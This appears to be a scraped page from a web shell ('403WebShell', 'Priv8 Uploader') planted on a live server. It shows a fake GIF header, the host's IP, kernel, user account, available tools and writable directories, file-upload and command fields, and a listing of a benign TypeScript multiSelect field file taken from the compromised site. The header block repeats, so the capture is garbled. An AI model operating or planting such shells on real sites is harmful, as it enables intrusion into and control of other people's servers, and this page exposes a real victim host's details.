GIF89a;

Priv8 Uploader By InMyMine7

Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
GIF89a;

Priv8 Uploader By InMyMine7

Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
403WebShell
403Webshell
Server IP : 82.165.91.112  /  Your IP : 216.73.216.249
Web Server : Apache
System : Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
User : nr7.net_tfpqq467gv ( 10001)
PHP Version : 8.4.25
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/nr7.net/emdash.nr7.net/node_modules/emdash/src/fields/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/nr7.net/emdash.nr7.net/node_modules/emdash/src/fields/multiselect.ts
import { z } from "astro/zod";

import type { FieldDefinition, FieldUIHints } from "./types.js";

export interface MultiSelectOptions<T extends readonly [string, ...string[]]> {
	options: T;
	required?: boolean;
	min?: number;
	max?: number;
	helpText?: string;
}

/**
 * MultiSelect field - multiple choices from predefined options
 */
export function multiSelect<T extends readonly [string, ...string[]]>(
	msOptions: MultiSelectOptions<T>,
): FieldDefinition<T[number][]> {
	let arraySchema = z.array(z.enum(msOptions.options));

	// Apply constraints
	if (msOptions.min !== undefined) {
		arraySchema = arraySchema.min(msOptions.min, `Must select at least ${msOptions.min}`);
	}

	if (msOptions.max !== undefined) {
		arraySchema = arraySchema.max(msOptions.max, `Must select at most ${msOptions.max}`);
	}

	// Optional vs required
	const schema: z.ZodTypeAny = msOptions.required ? arraySchema : arraySchema.optional();

	const ui: FieldUIHints = {
		widget: "multiSelect",
		helpText: msOptions.helpText,
		options: msOptions.options,
		min: msOptions.min,
		max: msOptions.max,
	};

	return {
		type: "multiSelect",
		columnType: "JSON",
		schema,
		options: msOptions,
		ui,
	};
}

Youez - 2016 - github.com/yon3zu
LinuXploit